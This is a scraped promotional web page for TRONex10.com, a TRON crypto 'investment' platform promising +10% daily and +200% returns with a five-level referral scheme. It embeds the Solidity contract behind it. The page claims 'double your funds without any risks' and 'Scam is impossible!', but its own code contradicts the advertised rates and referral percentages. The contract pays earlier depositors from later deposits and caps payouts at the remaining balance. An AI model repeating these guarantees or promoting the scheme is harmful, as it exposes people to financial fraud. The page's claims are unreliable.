perfection in details

Grow +16% Every Day

Get +200% up to your deposit

upto16% Daily - Earning Every Moment Until 200% We recommend to use: TronLink / TronMask browsers extensions, or TronWallet / Banko mobile apps.
You can get TRX coins via popular exchangers. Totally secure income based on

TRON smart-contract Verified and audited smart-contract code Make investment now!

Check TRONex10.com smart-contract

Tronex10.Com will double your funds without any risks - Tronex10.Com

Unlimited earnings with always growing rates

We provide investment conditions with growing percentage, depending on basic interest rate, smart-contract total balance bonus and personal "hold-bonus". Maximal available profit:
+200% per every deposit

Worldwide legal company with professional team

We are the officially registered company with team of trusted professionals on blockchain market. We are working 24/7 to increase platform popularity and make it truly worldwide.
Join us and get your profit!

Reliability of TRON smart-contract.
Scam is impossible!

Smart-contract technology ensures full safety of all participants funds. Nobody can steal funds, or change contract functions.

Total invested amount (TRX):

Total active participants:

Officially registered company:

TRONex LTD

Company number:

#12739027

Company address:

10 Creek Road, London
England, SE8 3BN

Check certificate Check company status

Investment conditionsthe best market offer

Video exploration

Click to watch

Working only with

TRON network

Earnings every moment, withdraw any time

Withdraw comes instantly on your wallet

Referral rewards works only for activated wallets

Basic interest rate:

+10% every 24 hours (+0.4166% hourly)

TRONex10.com smart-contract calculate profit up to every deposit since the date it was made. Every hour you will get +0.4166%, every day +10%.

Basic interest cant be changed, it is always +10%

Personal hold-bonus:

+1% for every 12 hours without withdraw

Smart-contract calculates hold-bonus from your deposit, or last withdraw date. If you did not request payment, it will charge you an additional bonus. After 24 hours +2%, after 48 hours +4%, after 72 hours +6% and so on.

Withdraw request will reset hold-bonus to 0%

Total income: 200% (deposit included)

Minimal deposit: 100 TRX

Deposit body is not refundable separately

Limits and distributionFunds distribution rules

LIMITS RULES:

NO DAILY LIMITS!

you can deposit any amount any time you want

Balance commission: 5%
Supporting of balance growth fund. Funds will be added up to contract balance to support its growth

Marketing commission: 5%
Technical support of platform, advertisement and promotion expenses, moderators and support team salary

Administration commission: 0%

How to work with platformsimple 3 steps to get earnings

Step #1: Make deposit

Get TRX

We recommend to use: TronLink / TronMask browsers extensions, or TronWallet / Banko mobile apps.
You can get TRX coins via popular exchangers. How to get TRX

Deposit TRX to our smart-contract

Deposit any amount of TRX on smart-contract address and start to get earnings every moment. Minimal deposit amount is 100 TRX. No maximal amount. Make deposit

Step #2: Get earnings

Get your TRX every moment

You can check all your wallet information, including your deposits, earnings, withdraw and referral statistics in real time

Additional earnings with referral program

5 levels of affiliate rewards:
7%-2%-1%-0.5%-0.5%

All rewards will be withdrawn to your wallet automatically
Referral rewards works only for activated wallets

Step #3: Request withdraw

Request TRX withdraw

Your payout will come instantly

Request withdraw from the same wallet you deposited

All your wallet deposits will be withdrawn with single transaction per 1 request

Honest and transparentsmart-contract independent auditions and reviews

TRONex10.com PRO platform smart-contract is published on TRON blockchain. Nobody can change its rules or algorithms, even administration. This provides our participants unconditional confidence in safety of their funds. Anyone can check smart-contract code and be sure that TRONex10.com platform is honest.

Independent company:

GROX Solutions (Website: grox.solutions)

Audition status:

Successfully passed

Audit conclusion (PDF)

Smart-contract code:

pragma solidity 0.5.10;

contract TRONex10.com  {
    using SafeMath for uint;

    uint constant public DEPOSITS_MAX = 100;
    uint constant public INVEST_MIN_AMOUNT = 100 trx;
    uint constant public BASE_PERCENT = 500;
    uint[] public REFERRAL_PERCENTS = [2500, 1500, 500, 200, 100];
    uint constant public MARKETING_FEE = 500;
    uint constant public FUND_FEE = 500;
    uint constant public PERCENTS_DIVIDER = 10000;
    uint constant public TIME_STEP = 1 days;

    uint public totalDeposits;
    uint public totalInvested;
    uint public totalWithdrawn;

    address payable public marketingAddress;
    address payable public fundAddress;

    struct Deposit {
        uint64 amount;
        uint64 withdrawn;
        uint64 refback;
        uint32 start;
    }

    struct User {
        Deposit[] deposits;
        uint32 checkpoint;
        address referrer;
        uint64 bonus;
        uint24[5] refs;
        uint16 rbackPercent;
    }

    mapping (address => User) internal users;

    event Newbie(address user);
    event NewDeposit(address indexed user, uint amount);
    event Withdrawn(address indexed user, uint amount);
    event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
    event RefBack(address indexed referrer, address indexed referral, uint amount);
    event FeePayed(address indexed user, uint totalAmount);

    constructor(address payable marketingAddr, address payable fundAddr) public {
        require(!isContract(marketingAddr) && !isContract(fundAddr));
        marketingAddress = marketingAddr;
        fundAddress = fundAddr;
    }

    function invest(address referrer) public payable {
        require(!isContract(msg.sender) && msg.sender == tx.origin);

        require(msg.value >= INVEST_MIN_AMOUNT, "Minimum deposit amount 100 TRX");

        User storage user = users[msg.sender];

        require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");

        uint marketingFee = msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
        uint fundFee = msg.value.mul(FUND_FEE).div(PERCENTS_DIVIDER);

        marketingAddress.transfer(marketingFee);
        fundAddress.transfer(fundFee);

        emit FeePayed(msg.sender, marketingFee.add(fundFee));

        if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
            user.referrer = referrer;
        }

        uint refbackAmount;
        if (user.referrer != address(0)) {

            address upline = user.referrer;
            for (uint i = 0; i < 5; i++) {
                if (upline != address(0)) {
                    uint amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);

                    if (i == 0 && users[upline].rbackPercent > 0) {
                        refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
                        msg.sender.transfer(refbackAmount);

                        emit RefBack(upline, msg.sender, refbackAmount);

                        amount = amount.sub(refbackAmount);
                    }

                    if (amount > 0) {
                        address(uint160(upline)).transfer(amount);
                        users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));

                        emit RefBonus(upline, msg.sender, i, amount);
                    }

                    users[upline].refs[i]++;
                    upline = users[upline].referrer;
                } else break;
            }

        }

        if (user.deposits.length == 0) {
            user.checkpoint = uint32(block.timestamp);
            emit Newbie(msg.sender);
        }

        user.deposits.push(Deposit(uint64(msg.value), 0, uint64(refbackAmount), uint32(block.timestamp)));

        totalInvested = totalInvested.add(msg.value);
        totalDeposits++;

        emit NewDeposit(msg.sender, msg.value);
    }

    function withdraw() public {
        User storage user = users[msg.sender];

        uint userPercentRate = getUserPercentRate(msg.sender);

        uint totalAmount;
        uint dividends;

        for (uint i = 0; i < user.deposits.length; i++) {

            if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {

                if (user.deposits[i].start > user.checkpoint) {

                    dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.deposits[i].start)))
                        .div(TIME_STEP);

                } else {

                    dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.checkpoint)))
                        .div(TIME_STEP);

                }

                if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
                    dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
                }

                user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
                totalAmount = totalAmount.add(dividends);

            }
        }

        require(totalAmount > 0, "User has no dividends");

        uint contractBalance = address(this).balance;
        if (contractBalance < totalAmount) {
            totalAmount = contractBalance;
        }

        user.checkpoint = uint32(block.timestamp);

        msg.sender.transfer(totalAmount);

        totalWithdrawn = totalWithdrawn.add(totalAmount);

        emit Withdrawn(msg.sender, totalAmount);
    }

    function setRefback(uint16 rbackPercent) public {
        require(rbackPercent <= 10000);

        User storage user = users[msg.sender];

        if (user.deposits.length > 0) {
            user.rbackPercent = rbackPercent;
        }
    }

    function getUserPercentRate(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

        if (isActive(userAddress)) {
            uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(50);
            return BASE_PERCENT.add(timeMultiplier);
        } else {
            return BASE_PERCENT;
        }
    }

    function getUserAvailable(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

        uint userPercentRate = getUserPercentRate(userAddress);

        uint totalDividends;
        uint dividends;

        for (uint i = 0; i < user.deposits.length; i++) {

            if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {

                if (user.deposits[i].start > user.checkpoint) {

                    dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.deposits[i].start)))
                        .div(TIME_STEP);

                } else {

                    dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
                        .mul(block.timestamp.sub(uint(user.checkpoint)))
                        .div(TIME_STEP);

                }

                if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
                    dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
                }

                totalDividends = totalDividends.add(dividends);

                /// no update of withdrawn because that is view function

            }

        }

        return totalDividends;
    }

    function isActive(address userAddress) public view returns (bool) {
        User storage user = users[userAddress];

        return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
    }

    function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
        return users[userAddress].deposits.length;
    }

    function getUserTotalDeposits(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

        uint amount;

        for (uint i = 0; i < user.deposits.length; i++) {
            amount = amount.add(uint(user.deposits[i].amount));
        }

        return amount;
    }

    function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
        User storage user = users[userAddress];

        uint amount = user.bonus;

        for (uint i = 0; i < user.deposits.length; i++) {
            amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
        }

        return amount;
    }

    function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
        User storage user = users[userAddress];

        uint count = first.sub(last);
        if (count > user.deposits.length) {
            count = user.deposits.length;
        }

        uint[] memory amount = new uint[](count);
        uint[] memory withdrawn = new uint[](count);
        uint[] memory refback = new uint[](count);
        uint[] memory start = new uint[](count);

        uint index = 0;
        for (uint i = first; i > last; i--) {
            amount[index] = uint(user.deposits[i-1].amount);
            withdrawn[index] = uint(user.deposits[i-1].withdrawn);
            refback[index] = uint(user.deposits[i-1].refback);
            start[index] = uint(user.deposits[i-1].start);
            index++;
        }

        return (amount, withdrawn, refback, start);
    }

    function getSiteStats() public view returns (uint, uint, uint) {
        return (totalInvested, totalDeposits, address(this).balance);
    }

    function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
        uint userPerc = getUserPercentRate(userAddress);
        uint userAvailable = getUserAvailable(userAddress);
        uint userDepsTotal = getUserTotalDeposits(userAddress);
        uint userDeposits = getUserAmountOfDeposits(userAddress);
        uint userWithdrawn = getUserTotalWithdrawn(userAddress);

        return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
    }

    function getUserReferralsStats(address userAddress) public view returns (address, uint16, uint16, uint64, uint24[5] memory) {
        User storage user = users[userAddress];

        return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.refs);
    }

    function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }

}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;

        return c;
    }

}

Reviews and mentionings:

Last deposits:

65000 TRX 30b4c84fc...63

45000 TRX 78b102939...23

1250 TRX 757ca00e3...d6

950 TRX 5ee5d1f7f...26

1000 TRX 4a5276d91...e2

Contact usour support team 24/7 available

Official contacts:

Telegram Support Advertisement Manager E-mail: admin@tronex10.com

Public groups:

Telegram News Channel Telegram ENG

Group

Social networks: